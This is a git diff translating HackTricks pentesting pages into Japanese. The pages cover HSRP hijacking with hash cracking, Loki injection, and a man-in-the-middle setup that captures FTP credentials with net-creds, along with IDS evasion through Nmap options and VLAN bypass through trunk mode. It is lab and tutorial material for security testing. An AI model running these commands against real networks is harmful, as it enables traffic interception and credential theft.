+**これはGLBPハイジャッキングとまったく同じです。最大優先度値255で悪意のあるHSRPインジェクションを実行する必要があります。**これにより、アクティブルータの役割をハイジャックし、**MITM**攻撃の道を開くことができます。ただし、攻撃を実行する前に以下の情報を調査する必要があります。 -* **The virtual IP address used in the HSRP domain** -* **The presence of authentication** -* **Value of router priorities** +* **HSRPドメインで使用される仮想IPアドレス** +* **認証の有無** +* **ルータの優先度の値** -We can extract this information by analyzing HSRP traffic. **Let’s use Wireshark.** +HSRPトラフィックを分析することで、この情報を抽出することができます。**Wiresharkを使用しましょう。** -As you can see in the screenshot, the HSRP process involves only two routers with addresses 10.10.100.100 and 10.10.100.200 +スクリーンショットでわかるように、HSRPプロセスには10.10.100.100と10.10.100.200の2つのルータが関与しています。 -

HSRP Ads

+

HSRP広告

-

First HSRP router

+

最初のHSRPルータ

-

Second HSRP router

+

2番目のHSRPルータ

-Based on the analysis of HSRP traffic, we have the following: +HSRPトラフィックの分析に基づいて、次の情報が得られます。 -* **A misconfiguration was detected within the priority setting. Active router is considered to be a HSRP router with priority 200, that is, we have a vector for HSRP hijacking** -* **the virtual IP address used in the HSRP domain is 10.10.100.254** -* **MD5 authentication is used** +* **優先度設定内でミス構成が検出されました。優先度200のHSRPルータがアクティブルータと見なされるため、HSRPハイジャッキングのためのベクトルがあります** +* **HSRPドメインで使用される仮想IPアドレスは10.10.100.254です** +* **MD5認証が使用されています** -Having authentication in the domain ties our hands, but I will fix that. +ドメイン内で認証が行われているため、私たちは制約されていますが、それを修正します。 -### HSRP Authentication Bypassing - -Save HSRP traffic dump in **.pcap** format, so that the exfiltrator can correctly extract MD5 hashes from the dump. I will use **hsrp2john.py** as the exfiltrator: +### HSRP認証のバイパス +HSRPトラフィックのダンプを**.pcap**形式で保存し、エクストラクタがダンプから正しくMD5ハッシュを抽出できるようにします。エクストラクタとして**hsrp2john.py**を使用します。 ``` ~/cisconightmare/exfiltrate$ python2 hsrp2john.py hsrp_with_authentication.pcap ``` +

HSRPトラフィックダンプから抽出したMD5ハッシュ

-

Extracted MD5 hashes from HSRP traffic dump

- -I will crack the hashes with **John the Ripper,** specify the hashes themselves as input. And with the — **wordlist** switch I will specify the path to the dictionary: - +私は**John the Ripper**を使用してハッシュをクラックします。入力としてハッシュ自体を指定します。そして、**--wordlist**スイッチを使用して辞書のパスを指定します。 ``` ~/cisconightmare/exfiltrate$ john hsrp_hashes --wordlist=wordlistforbrute ``` +

HSRPドメインのパスワードがクラックされました

-

Cracked HSRP domain password

+その結果、HSRPドメインに入るためのキーである**endgame**を手に入れました。 -As a result, we have a key to enter the HSRP domain — **endgame**. +### HSRPインジェクション(Loki) -### HSRP Injection (Loki) +同じLokiを使用してHSRPプロトコルを攻撃します。その中には、認証をバイパスするのに役立つキーインジェクション機能があります。以前のHSRPハイジャックのセクションで、HSRPドメインに関するすべての必要な情報を取得しました。 -I will use the same Loki to attack the HSRP protocol. Among other things, it has a key injection feature, which helps us bypass authentication. Earlier, in the HSRP Hijacking section, we obtained all the necessary information about the HSRP domain. +Lokiを起動します。 -Starting Loki. - -

Loki detected HSRP ads

- -Don’t forget to switch to promiscuous mode and allow traffic routing before conducting the attack: +

LokiがHSRP広告を検出しました

+攻撃を実施する前に、プロミスキャスモードに切り替えてトラフィックルーティングを許可することを忘れないでください。 ``` ~$ sudo ip link set eth0 promisc on ~$ sudo sysctl -w net.ipv4.ip_forward=1 ``` - -Select the router with an address of **10.10.100.100** and a priority of **200**. As the **Secret** parameter, **enter the cracked password** from the HSRP domain, generate a Gratuitous ARP and select the **Get IP** option. +次のアドレスを持つルーターを選択します:**10.10.100.100**、優先度は**200**です。**Secret**パラメータには、HSRPドメインから**クラックされたパスワード**を入力し、Gratuitous ARPを生成し、**Get IP**オプションを選択します。
-**As we can see, the Active router is now our attacking system. The priority value is 255.** - -**After injection we need to create a secondary IP address on our network interface with the value of the virtual IP address in the HSRP domain. You should also specify 24-bit mask. In this way, legitimate traffic will be looped back to us, because the virtual IP address used in the HSRP domain is the default gateway address for hosts.** +**見てわかるように、アクティブなルーターは攻撃システムになりました。優先度の値は255です。** +**インジェクション後、HSRPドメインの仮想IPアドレスの値でネットワークインターフェースにセカンダリIPアドレスを作成する必要があります。また、24ビットのマスクを指定する必要があります。この方法で、正規のトラフィックはループバックされ、HSRPドメインで使用される仮想IPアドレスはホストのデフォルトゲートウェイアドレスです。** ``` ~$ sudo ifconfig eth0:1 10.10.100.254 netmask 255.255.255.0 ``` - -**We set up the well-known Source NAT (masquerading) to intercept all traffic:** - +**私たちは、すべてのトラフィックを傍受するために、よく知られたソースNAT(マスカレーディング)を設定しました:** ``` ~$ sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE ``` - -**We remove the default route on our machine and write a new one which will go through the former Active router (its address is 10.10.100.100). Even though we have hijacked the active role from the router, it will still be able to route traffic.** - +**デフォルトルートを削除し、新しいルートを書き込みます。この新しいルートは、以前のアクティブルーター(アドレスは10.10.100.100です)を経由して通信を行います。ルーターのアクティブな役割を乗っ取ったにもかかわらず、ルーターは依然としてトラフィックをルーティングすることができます。** ``` ~$ sudo route del default ~$ sudo route add -net 0.0.0.0 netmask 0.0.0.0 gw 10.10.100.100 ``` - -**Now we are the “man in the middle”. Let’s run** [**net-creds.py**](https://github.com/DanMcInerney/net-creds)**:** - +**今、私たちは「中間者」となります。**[**net-creds.py**](https://github.com/DanMcInerney/net-creds)**を実行しましょう:** ``` ~$ sudo python2 net-creds.py -i eth0 ``` - -After running the utility, I will reproduce an attempt to authenticate to the FTP server at 172.16.100.140: - +ユーティリティを実行した後、172.16.100.140のFTPサーバーへの認証試行を再現します。 ``` ~$ ftp 172.16.100.140 ``` -
-As a result, we get creeds from the FTP server: **insomnia:betrayal** +その結果、FTPサーバーからクレデンシャルを取得します: **insomnia:betrayal** -This is how you can attack the HSRP domain and intercept traffic. Basically, everything is similar to GLBP. +これがHSRPドメインを攻撃し、トラフィックを傍受する方法です。基本的に、すべてはGLBPと同様です。
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
diff --git a/generic-methodologies-and-resources/pentesting-network/ids-evasion.md b/generic-methodologies-and-resources/pentesting-network/ids-evasion.md index 6cd49223f..ee6ea56be 100644 --- a/generic-methodologies-and-resources/pentesting-network/ids-evasion.md +++ b/generic-methodologies-and-resources/pentesting-network/ids-evasion.md @@ -1,61 +1,59 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- 独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションである[**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見してください。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)を**フォロー**してください**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
# **TTL Manipulation** -Send some packets with a TTL enough to arrive to the IDS/IPS but not enough to arrive to the final system. And then, send another packets with the same sequences as the other ones so the IPS/IDS will think that they are repetitions and won't check them, but indeed they are carrying the malicious content. +IDS/IPSに到達するだけのTTLを持つパケットをいくつか送信し、最終システムに到達するには十分ではないTTLを持つ別のパケットを送信します。そして、他のパケットと同じシーケンスを持つ別のパケットを送信することで、IPS/IDSはそれらが繰り返しであると思い込み、チェックしないでしょうが、実際には悪意のあるコンテンツを運んでいます。 -**Nmap option:** `--ttlvalue ` +**Nmapオプション:** `--ttlvalue ` -# Avoiding signatures +# 署名の回避 -Just add garbage data to the packets so the IPS/IDS signature is avoided. +パケットにゴミデータを追加するだけで、IPS/IDSの署名を回避できます。 -**Nmap option:** `--data-length 25` +**Nmapオプション:** `--data-length 25` -# **Fragmented Packets** +# **フラグメント化されたパケット** -Just fragment the packets and send them. If the IDS/IPS doesn't have the ability to reassemble them, they will arrive to the final host. +パケットをフラグメント化して送信します。IDS/IPSがそれらを再結合する能力を持っていない場合、それらは最終ホストに到着します。 -**Nmap option:** `-f` +**Nmapオプション:** `-f` -# **Invalid** _**checksum**_ +# **無効な** _**チェックサム**_ -Sensors usually don't calculate checksum for performance reasons. __ So an attacker can send a packet that will be **interpreted by the sensor but rejected by the final host.** Example: +センサーは通常、パフォーマンスの理由からチェックサムを計算しません。したがって、攻撃者はチェックサムが無効なパケットを送信することができます。そのパケットはセンサーによって解釈されますが、最終ホストによっては拒否されます。例: -Send a packet with the flag RST and a invalid checksum, so then, the IPS/IDS may thing that this packet is going to close the connection, but the final host will discard the packet as the checksum is invalid. +チェックサムが無効なRSTフラグを持つパケットを送信すると、IPS/IDSはこのパケットが接続を閉じるために送信されると思うかもしれませんが、最終ホストはチェックサムが無効であるため、パケットを破棄します。 -# **Uncommon IP and TCP options** +# **一般的でないIPおよびTCPオプション** -A sensor might disregard packets with certain flags and options set within IP and TCP headers, whereas the destination host accepts the packet upon receipt. +センサーは、IPおよびTCPヘッダー内で特定のフラグとオプションが設定されたパケットを無視する場合がありますが、宛先ホストは受信時にパケットを受け入れます。 -# **Overlapping** +# **オーバーラップ** -It is possible that when you fragment a packet, some kind of overlapping exists between packets (maybe first 8 bytes of packet 2 overlaps with last 8 bytes of packet 1, and 8 last bytes of packet 2 overlaps with first 8 bytes of packet 3). Then, if the IDS/IPS reassembles them in a different way than the final host, a different packet will be interpreted.\ -Or maybe, 2 packets with the same offset comes and the host has to decide which one it takes. +パケットをフラグメント化すると、パケット間に重複が存在する可能性があります(たとえば、パケット2の最初の8バイトがパケット1の最後の8バイトと重複し、パケット2の最後の8バイトがパケット3の最初の8バイトと重複する)。その後、IDS/IPSが最終ホストとは異なる方法でそれらを再結合する場合、異なるパケットが解釈されます。\ +または、同じオフセットを持つ2つのパケットが来て、ホストがどちらを選ぶかを決定しなければならない場合もあります。 -* **BSD**: It has preference for packets with smaller _offset_. For packets with same offset, it will choose the first one. -* **Linux**: Like BSD, but it prefers the last packet with the same offset. -* **First** (Windows): First value that comes, value that stays. -* **Last** (cisco): Last value that comes, value that stays. +* **BSD**: オフセットが小さいパケットを優先します。オフセットが同じ場合は、最初のパケットを選択します。 +* **Linux**: BSDと同様ですが、同じオフセットの最後のパケットを優先します。 +* **First** (Windows): 最初に来た値が残ります。 +* **Last** (cisco): 最後に来た値が残ります。 -# Tools +# ツール * [https://github.com/vecna/sniffjoke](https://github.com/vecna/sniffjoke) @@ -64,16 +62,14 @@ Or maybe, 2 packets with the same offset comes and the host has to decide which ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- 独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションである[**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見してください。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)を**フォロー**してください**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
- - diff --git a/generic-methodologies-and-resources/pentesting-network/lateral-vlan-segmentation-bypass.md b/generic-methodologies-and-resources/pentesting-network/lateral-vlan-segmentation-bypass.md index 8535141f8..a59f2974b 100644 --- a/generic-methodologies-and-resources/pentesting-network/lateral-vlan-segmentation-bypass.md +++ b/generic-methodologies-and-resources/pentesting-network/lateral-vlan-segmentation-bypass.md @@ -1,55 +1,48 @@ -# Lateral VLAN Segmentation Bypass +# レイテラルVLANセグメンテーションバイパス
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* **サイバーセキュリティ会社で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** +* **ハッキングのトリックを共有するには、[hacktricks repo](https://github.com/carlospolop/hacktricks)と[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
-**This page was copied from** [**https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9**](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)**** +**このページは、[https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)からコピーされました。** -If you have access to a switch that you are directly connected to, you have the ability to bypass VLAN segmentation within the network. Simply switch the port to trunk mode (otherwise known as trunk), create virtual interfaces with the IDs of the target VLANs, and configure an IP address. You can try requesting the address dynamically (DHCP) or you can configure it statically. It depends on the case. +直接接続されたスイッチにアクセスできる場合、ネットワーク内のVLANセグメンテーションをバイパスすることができます。単にポートをトランクモード(またはトランク)に切り替え、ターゲットVLANのIDを持つ仮想インターフェースを作成し、IPアドレスを設定します。アドレスを動的に(DHCP)要求するか、静的に設定するかは、ケースによります。 -First you need to find out exactly which port you are connected to. This is done via CDP messages, or you can search the port by mask **include**. +まず、接続されているポートを正確に特定する必要があります。これはCDPメッセージによって行われるか、マスク**include**でポートを検索することができます。
-**If the CDP is suddenly disabled, you can try searching the port by our MAC address.** - +**CDPが突然無効になった場合、MACアドレスでポートを検索することができます。** ``` SW1(config)# show mac address-table | include 0050.0000.0500 ``` -
-Before we switch to trunk mode, we need to list the existing VLANs and find out their identifiers. Then we will hang these identifiers on our interface to access VLANs. Thus, thanks to the trunk we can access any VLAN. By the way, the port we are connected to belongs to VLAN 10. - +トランクモードに切り替える前に、既存のVLANをリストアップし、それらの識別子を特定する必要があります。次に、これらの識別子を私たちのインターフェースに接続してVLANにアクセスします。したがって、トランクを介して任意のVLANにアクセスできます。ちなみに、接続されているポートはVLAN 10に属しています。 ``` SW1# show vlan brief ``` -
-**Here we go. Enter interface configuration mode and go into trunk mode.** - +**さあ、インターフェースの設定モードに入り、トランクモードに移行します。** ``` SW1(config)# interface GigabitEthernet 0/2 SW1(config-if)# switchport trunk encapsulation dot1q SW1(config-if)# switchport mode trunk ``` - -During the switch to trunk mode, connectivity is lost. But I will fix that. +トランクモードへの切り替え中に接続が失われますが、それを修正します。
-Create virtual interfaces and “hang” VLAN ID on them, and then raise them. - +仮想インターフェースを作成し、それらにVLAN IDを割り当て、それから起動します。 ``` ~$ sudo vconfig add eth0 10 ~$ sudo vconfig add eth0 20 @@ -60,38 +53,21 @@ Create virtual interfaces and “hang” VLAN ID on them, and then raise them. ~$ sudo ifconfig eth0.50 up ~$ sudo ifconfig eth0.60 up ``` - -Now you need to request an address via DHCP. But if in your case this is not possible, you can set the address statically. - +次に、DHCPを介してアドレスをリクエストする必要があります。ただし、この場合にそれが不可能な場合は、アドレスを静的に設定することもできます。 ``` ~$ sudo dhclient -v eth0.10 ~$ sudo dhclient -v eth0.20 ~$ sudo dhclient -v eth0.50 ~$ sudo dhclient -v eth0.60 ``` -
-Example of configuring a static IP address on an interface (VLAN 10): - +インターフェース(VLAN 10)に静的IPアドレスを設定する例: ``` ~$ sudo ifconfig eth0.10 10.10.10.66 netmask 255.255.255.0 ``` - -To test the connection, I initiate ICMP requests to the default gateways **for VLANs 10, 20, 50, 60** +接続をテストするために、デフォルトゲートウェイに対してICMPリクエストを開始します。**VLAN 10、20、50、60**のためのものです。
-In the end, **I bypassed VLAN** segmentation and can get into any VLAN network, which unties my hands for the next steps - -
- -☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 - -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. - -
+最終的に、**VLANのバイパス**に成功し、次のステップに進むためにどのVLANネットワークにでもアクセスできるようになりました。 diff --git a/generic-methodologies-and-resources/pentesting-network/network-protocols-explained-esp.md b/generic-methodologies-and-resources/pentesting-network/network-protocols-explained-esp.md index 1fe00232a..bf13180ec 100644 --- a/generic-methodologies-and-resources/pentesting-network/network-protocols-explained-esp.md +++ b/generic-methodologies-and-resources/pentesting-network/network-protocols-explained-esp.md @@ -1,145 +1,134 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**する[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。**
-# Multicast DNS \(mDNS\) +# マルチキャストDNS(mDNS) - The **multicast DNS** \(**mDNS**\) protocol resolves host names to IP addresses within small networks that do not include a local name server. +**マルチキャストDNS**(**mDNS**)プロトコルは、ローカルネームサーバを含まない小規模ネットワーク内でホスト名をIPアドレスに解決します。 -When an mDNS client needs to resolve a host name, it sends an Ip Multicast query message that asks the host having that name to identify itself. That target machine then multicasts a message that includes its IP address. All machines in that subnet can then use that information to update their mDNS caches. +mDNSクライアントがホスト名を解決する必要がある場合、その名前を持つホストに自己識別するようにIpマルチキャストクエリメッセージを送信します。そのターゲットマシンは、IPアドレスを含むメッセージをマルチキャストします。そのサブネット内のすべてのマシンは、その情報を使用して自分のmDNSキャッシュを更新できます。 -Any host can relinquish its claim to a domain name by sending a response packet with a Time To Live\(TTL\) equal to zero. +任意のホストは、TTL(Time To Live)がゼロと等しい応答パケットを送信することで、ドメイン名の所有権を放棄することができます。 -By default, mDNS only and exclusively resolves host names ending with the **.local** top-level domain \(TLD\). This can cause problems if that domain includes hosts which do not implement mDNS but which can be found via a conventional unicast DNS server. Resolving such conflicts requires network-configuration changes. +デフォルトでは、mDNSは**.local**トップレベルドメイン(TLD)で終わるホスト名のみを解決します。これは、そのドメインにmDNSを実装していないが、従来のユニキャストDNSサーバーを介して見つけることができるホストが含まれている場合に問題を引き起こす可能性があります。このような競合を解決するには、ネットワーク構成の変更が必要です。 -* When using Ethernet frames, the standard multicast MAC address _01:00:5E:00:00:FB_ \(for IPv4\) or _33:33:00:00:00:FB_ \(for IPv6\). -* IPv4 address _224.0.0.251_ or IPv6 address _ff02::fb_. -* UDP port 5353. +* イーサネットフレームを使用する場合、標準のマルチキャストMACアドレスは_01:00:5E:00:00:FB_(IPv4用)または_33:33:00:00:00:FB_(IPv6用)です。 +* IPv4アドレスは_224.0.0.251_、IPv6アドレスは_ff02::fb_です。 +* UDPポート5353。 -mDNS queries will not pass through routers \(broadcast in ethernet only\). +mDNSクエリはルーターを通過しません(イーサネットでのブロードキャストのみ)。 -# DNS-SD \(Service Discovery\) +# DNS-SD(サービスディスカバリ) -This protocol can be used to discover hosts in the network. To do that you can requests special domain names \(e.g. _\_printers\_tcp.local_\) and all the domains rlated with that name will answer \(in this cases, printers\). A complete list with this special names can be found [here](http://www.dns-sd.org/ServiceTypes.html). +このプロトコルは、ネットワーク内のホストを検出するために使用できます。そのためには、特別なドメイン名(例:_\_printers\_tcp.local\_)をリクエストし、その名前に関連するすべてのドメインが応答します(この場合、プリンター)。この特別な名前の完全なリストは[こちら](http://www.dns-sd.org/ServiceTypes.html)で見つけることができます。 # SSDP -The Simple Service Discovery Protocol is used to discover services in a network mainly for using the protocol UPnP. +Simple Service Discovery Protocolは、主にUPnPプロトコルを使用してネットワーク内のサービスを検出するために使用されます。 -SSDP is a text-based protocol based on [HTTPU](https://en.wikipedia.org/wiki/HTTPU). It uses UDP as the underlying transport protocol. Services are advertised by the hosting system with multicast addressing to a specifically designated IP multicast address at UDP port number 1900. In IPv4, the multicast address is 239.255.255.250 